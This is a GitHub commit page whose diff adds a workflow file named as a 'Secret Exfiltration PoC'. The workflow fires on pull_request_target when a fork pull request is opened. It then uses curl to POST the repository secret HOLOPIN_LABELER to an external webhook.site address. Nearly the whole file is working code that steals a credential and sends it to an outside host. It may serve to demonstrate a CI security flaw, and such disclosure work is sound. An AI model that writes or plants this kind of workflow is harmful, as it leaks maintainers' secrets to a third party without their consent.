Skip to content

Commit 37e8884

Browse files
Create poc.yml
1 parent 5ba3f51 commit 37e8884

File tree

1 file changed

+21
-0
lines changed

1 file changed

+21
-0
lines changed

.github/workflows/poc.yml

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
name: GitHub Secret Exfiltration PoC
2+
3+
on:
4+
pull_request_target:
5+
types: [opened]
6+
7+
jobs:
8+
exploit:
9+
runs-on: ubuntu-latest
10+
11+
steps:
12+
- name: Show that the PoC workflow is running
13+
run: echo "[+] Workflow triggered by PR from fork"
14+
15+
- name: Try to exfiltrate HOLOPIN_LABELER secret
16+
run: |
17+
echo "[+] Sending secret to Webhook.site..."
18+
curl -X POST \
19+
-H "Content-Type: application/x-www-form-urlencoded" \
20+
-d "token=${{ secrets.HOLOPIN_LABELER }}" \
21+
https://webhook.site/e4056cbe-33ad-4c73-a3f2-48b7b388a4f1

0 commit comments

Comments
 (0)